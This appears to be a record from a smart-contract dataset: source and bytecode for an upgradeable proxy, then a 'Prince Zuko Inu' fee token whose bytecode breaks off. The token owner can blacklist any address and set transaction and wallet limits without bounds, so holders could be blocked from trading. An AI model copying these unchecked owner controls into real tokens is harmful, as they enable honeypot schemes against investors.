* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
abstract contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback () payable external {
_fallback();
}
/**
* @dev Receive function.
* Implemented entirely in `_fallback`.
*/
receive () payable external {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal virtual view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal virtual {
}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
/**
* @title UpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract UpgradeabilityProxy is Proxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
function _implementation() internal override view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
/**
* @title AdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract AdminUpgradeabilityProxy is UpgradeabilityProxy {
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable {
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin {
_upgradeTo(newImplementation);
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return adm The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal override virtual {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
super._willFallback();
}
}
|
0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100985780635c60da1b146101185780638f28397014610149578063f851a4401461017c5761005d565b3661005d5761005b610191565b005b61005b610191565b34801561007157600080fd5b5061005b6004803603602081101561008857600080fd5b50356001600160a01b03166101ab565b61005b600480360360408110156100ae57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100d957600080fd5b8201836020820111156100eb57600080fd5b8035906020019184600183028401116401000000008311171561010d57600080fd5b5090925090506101e5565b34801561012457600080fd5b5061012d610292565b604080516001600160a01b039092168252519081900360200190f35b34801561015557600080fd5b5061005b6004803603602081101561016c57600080fd5b50356001600160a01b03166102cf565b34801561018857600080fd5b5061012d610389565b6101996103ba565b6101a96101a461041a565b61043f565b565b6101b3610463565b6001600160a01b0316336001600160a01b031614156101da576101d581610488565b6101e2565b6101e2610191565b50565b6101ed610463565b6001600160a01b0316336001600160a01b031614156102855761020f83610488565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d806000811461026c576040519150601f19603f3d011682016040523d82523d6000602084013e610271565b606091505b505090508061027f57600080fd5b5061028d565b61028d610191565b505050565b600061029c610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd61041a565b90506102cc565b6102cc610191565b90565b6102d7610463565b6001600160a01b0316336001600160a01b031614156101da576001600160a01b0381166103355760405162461bcd60e51b81526004018080602001828103825260368152602001806105876036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61035e610463565b604080516001600160a01b03928316815291841660208301528051918290030190a16101d5816104c8565b6000610393610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd610463565b3b151590565b6103c2610463565b6001600160a01b0316336001600160a01b031614156104125760405162461bcd60e51b81526004018080602001828103825260328152602001806105556032913960400191505060405180910390fd5b6101a96101a9565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e80801561045e573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b610491816104ec565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b6104f5816103b4565b6105305760405162461bcd60e51b815260040180806020018281038252603b8152602001806105bd603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a264697066735822122073c4c21e5c673ed7cd3c216206991b426c7391cadd714e9a2c3f3ee94217be2b64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 8,923 |
0xb074BeED9A839a320e452e5902B5f45E40A45939
|
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.12;
// Part: Context
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
// Part: IERC20
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
// Part: IUniswapV2Factory
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
// Part: IUniswapV2Router02
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
// Part: SafeMath
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
// Part: Ownable
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
// File: ZUKOINU.sol
contract ZukoInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) public isExcludedFromFee;
mapping(address => bool) public isExcludedFromLimit;
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1_000_000_000_000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public swapThreshold = 100_000_000 * 10**9;
uint256 private _reflectionFee = 0;
uint256 private _teamFee = 10;
address payable private _feeAddrWallet1;
string private constant _name = "Prince Zuko Inu";
string private constant _symbol = "ZUKOI";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap;
bool private swapEnabled;
bool private cooldownEnabled;
uint256 private _maxTxAmount = 30_000_000_000 * 10**9;
uint256 private _maxWalletAmount = 30_000_000_000 * 10**9;
modifier lockTheSwap() {
inSwap = true;
_;
inSwap = false;
}
constructor(address wallet1) {
_feeAddrWallet1 = payable(wallet1);
_rOwned[_msgSender()] = _rTotal;
isExcludedFromFee[owner()] = true;
isExcludedFromFee[address(this)] = true;
isExcludedFromFee[_feeAddrWallet1] = true;
isExcludedFromLimit[owner()] = true;
isExcludedFromLimit[address(this)] = true;
isExcludedFromLimit[address(0xdead)] = true;
isExcludedFromLimit[_feeAddrWallet1] = true;
emit Transfer(address(this), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(
balanceOf(from) >= amount,
"ERC20: transfer amount exceeds balance"
);
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (
!isExcludedFromLimit[from] ||
(from == uniswapV2Pair && !isExcludedFromLimit[to])
) {
require(
amount <= _maxTxAmount,
"Anti-whale: Transfer amount exceeds max limit"
);
}
if (!isExcludedFromLimit[to]) {
require(
balanceOf(to) + amount <= _maxWalletAmount,
"Anti-whale: Wallet amount exceeds max limit"
);
}
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!isExcludedFromFee[to] &&
cooldownEnabled
) {
// Cooldown
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (
!inSwap &&
from != uniswapV2Pair &&
swapEnabled &&
contractTokenBalance >= swapThreshold
) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount);
}
function openTrading() external onlyOwner {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
isExcludedFromLimit[address(uniswapV2Router)] = true;
isExcludedFromLimit[uniswapV2Pair] = true;
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function changeMaxTxAmount(uint256 amount) public onlyOwner {
_maxTxAmount = amount;
}
function changeMaxWalletAmount(uint256 amount) public onlyOwner {
_maxWalletAmount = amount;
}
function changeSwapThreshold(uint256 amount) public onlyOwner {
swapThreshold = amount;
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
isExcludedFromFee[account] = excluded;
}
function excludeFromLimits(address account, bool excluded)
public
onlyOwner
{
isExcludedFromLimit[account] = excluded;
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount
) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rReflect,
uint256 tTransferAmount,
uint256 tReflect,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
if (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) {
_rOwned[recipient] = _rOwned[recipient].add(rAmount);
emit Transfer(sender, recipient, tAmount);
} else {
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rReflect, tReflect);
emit Transfer(sender, recipient, tTransferAmount);
}
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(
uint256 tTransferAmount,
uint256 tReflect,
uint256 tTeam
) = _getTValues(tAmount, _reflectionFee, _teamFee);
uint256 currentRate = _getRate();
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rReflect
) = _getRValues(tAmount, tReflect, tTeam, currentRate);
return (
rAmount,
rTransferAmount,
rReflect,
tTransferAmount,
tReflect,
tTeam
);
}
function _getTValues(
uint256 tAmount,
uint256 reflectFee,
uint256 teamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tReflect = tAmount.mul(reflectFee).div(100);
uint256 tTeam = tAmount.mul(teamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tReflect).sub(tTeam);
return (tTransferAmount, tReflect, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tReflect,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rReflect = tReflect.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rReflect).sub(rTeam);
return (rAmount, rTransferAmount, rReflect);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101855760003560e01c8063715018a6116100d1578063b515566a1161008a578063c9567bf911610064578063c9567bf9146104a3578063d94160e0146104b8578063dd62ed3e146104e8578063f42938901461052e57600080fd5b8063b515566a14610443578063c024666814610463578063c0a904a21461048357600080fd5b8063715018a61461038257806381bfdcca1461039757806389f425e7146103b75780638da5cb5b146103d757806395d89b41146103f5578063a9059cbb1461042357600080fd5b8063313ce5671161013e5780635342acb4116101185780635342acb4146102f25780635932ead114610322578063677daa571461034257806370a082311461036257600080fd5b8063313ce5671461028957806349bd5a5e146102a557806351bc3c85146102dd57600080fd5b80630445b6671461019157806306fdde03146101ba578063095ea7b3146101fb57806318160ddd1461022b57806323b872dd14610247578063273123b71461026757600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b506101a7600b5481565b6040519081526020015b60405180910390f35b3480156101c657600080fd5b5060408051808201909152600f81526e5072696e6365205a756b6f20496e7560881b60208201525b6040516101b191906119de565b34801561020757600080fd5b5061021b610216366004611a58565b610543565b60405190151581526020016101b1565b34801561023757600080fd5b50683635c9adc5dea000006101a7565b34801561025357600080fd5b5061021b610262366004611a84565b61055a565b34801561027357600080fd5b50610287610282366004611ac5565b6105c3565b005b34801561029557600080fd5b50604051600981526020016101b1565b3480156102b157600080fd5b506010546102c5906001600160a01b031681565b6040516001600160a01b0390911681526020016101b1565b3480156102e957600080fd5b50610287610617565b3480156102fe57600080fd5b5061021b61030d366004611ac5565b60056020526000908152604090205460ff1681565b34801561032e57600080fd5b5061028761033d366004611af0565b610650565b34801561034e57600080fd5b5061028761035d366004611b0d565b610698565b34801561036e57600080fd5b506101a761037d366004611ac5565b6106c7565b34801561038e57600080fd5b506102876106e9565b3480156103a357600080fd5b506102876103b2366004611b0d565b61075d565b3480156103c357600080fd5b506102876103d2366004611b0d565b61078c565b3480156103e357600080fd5b506000546001600160a01b03166102c5565b34801561040157600080fd5b506040805180820190915260058152645a554b4f4960d81b60208201526101ee565b34801561042f57600080fd5b5061021b61043e366004611a58565b6107bb565b34801561044f57600080fd5b5061028761045e366004611b3c565b6107c8565b34801561046f57600080fd5b5061028761047e366004611c01565b61085e565b34801561048f57600080fd5b5061028761049e366004611c01565b6108b3565b3480156104af57600080fd5b50610287610908565b3480156104c457600080fd5b5061021b6104d3366004611ac5565b60066020526000908152604090205460ff1681565b3480156104f457600080fd5b506101a7610503366004611c3a565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561053a57600080fd5b50610287610ca8565b6000610550338484610cd2565b5060015b92915050565b6000610567848484610df6565b6105b984336105b485604051806060016040528060288152602001611e2e602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061123c565b610cd2565b5060019392505050565b6000546001600160a01b031633146105f65760405162461bcd60e51b81526004016105ed90611c68565b60405180910390fd5b6001600160a01b03166000908152600760205260409020805460ff19169055565b600e546001600160a01b0316336001600160a01b03161461063757600080fd5b6000610642306106c7565b905061064d81611276565b50565b6000546001600160a01b0316331461067a5760405162461bcd60e51b81526004016105ed90611c68565b60108054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146106c25760405162461bcd60e51b81526004016105ed90611c68565b601155565b6001600160a01b038116600090815260026020526040812054610554906113f0565b6000546001600160a01b031633146107135760405162461bcd60e51b81526004016105ed90611c68565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146107875760405162461bcd60e51b81526004016105ed90611c68565b601255565b6000546001600160a01b031633146107b65760405162461bcd60e51b81526004016105ed90611c68565b600b55565b6000610550338484610df6565b6000546001600160a01b031633146107f25760405162461bcd60e51b81526004016105ed90611c68565b60005b815181101561085a5760016007600084848151811061081657610816611c9d565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061085281611cc9565b9150506107f5565b5050565b6000546001600160a01b031633146108885760405162461bcd60e51b81526004016105ed90611c68565b6001600160a01b03919091166000908152600560205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146108dd5760405162461bcd60e51b81526004016105ed90611c68565b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146109325760405162461bcd60e51b81526004016105ed90611c68565b601054600160a01b900460ff161561098c5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016105ed565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556109c93082683635c9adc5dea00000610cd2565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a07573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a2b9190611ce4565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a78573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a9c9190611ce4565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610ae9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b0d9190611ce4565b601080546001600160a01b0319166001600160a01b03928316178155600f80548316600090815260066020526040808220805460ff1990811660019081179092559454861683529120805490931617909155541663f305d7194730610b71816106c7565b600080610b866000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610bee573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610c139190611d01565b50506010805463ffff00ff60a01b198116630101000160a01b17909155600f5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610c84573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061085a9190611d2f565b600e546001600160a01b0316336001600160a01b031614610cc857600080fd5b4761064d81611474565b6001600160a01b038316610d345760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105ed565b6001600160a01b038216610d955760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105ed565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610e5a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105ed565b6001600160a01b038216610ebc5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105ed565b80610ec6846106c7565b1015610f235760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016105ed565b6000546001600160a01b03848116911614801590610f4f57506000546001600160a01b03838116911614155b1561122c576001600160a01b03831660009081526007602052604090205460ff16158015610f9657506001600160a01b03821660009081526007602052604090205460ff16155b610f9f57600080fd5b6001600160a01b03831660009081526006602052604090205460ff161580610ff857506010546001600160a01b038481169116148015610ff857506001600160a01b03821660009081526006602052604090205460ff16155b15611065576011548111156110655760405162461bcd60e51b815260206004820152602d60248201527f416e74692d7768616c653a205472616e7366657220616d6f756e74206578636560448201526c19591cc81b585e081b1a5b5a5d609a1b60648201526084016105ed565b6001600160a01b03821660009081526006602052604090205460ff166110fe5760125481611092846106c7565b61109c9190611d4c565b11156110fe5760405162461bcd60e51b815260206004820152602b60248201527f416e74692d7768616c653a2057616c6c657420616d6f756e742065786365656460448201526a1cc81b585e081b1a5b5a5d60aa1b60648201526084016105ed565b6010546001600160a01b0384811691161480156111295750600f546001600160a01b03838116911614155b801561114e57506001600160a01b03821660009081526005602052604090205460ff16155b80156111635750601054600160b81b900460ff165b156111b1576001600160a01b038216600090815260086020526040902054421161118c57600080fd5b61119742603c611d4c565b6001600160a01b0383166000908152600860205260409020555b60006111bc306106c7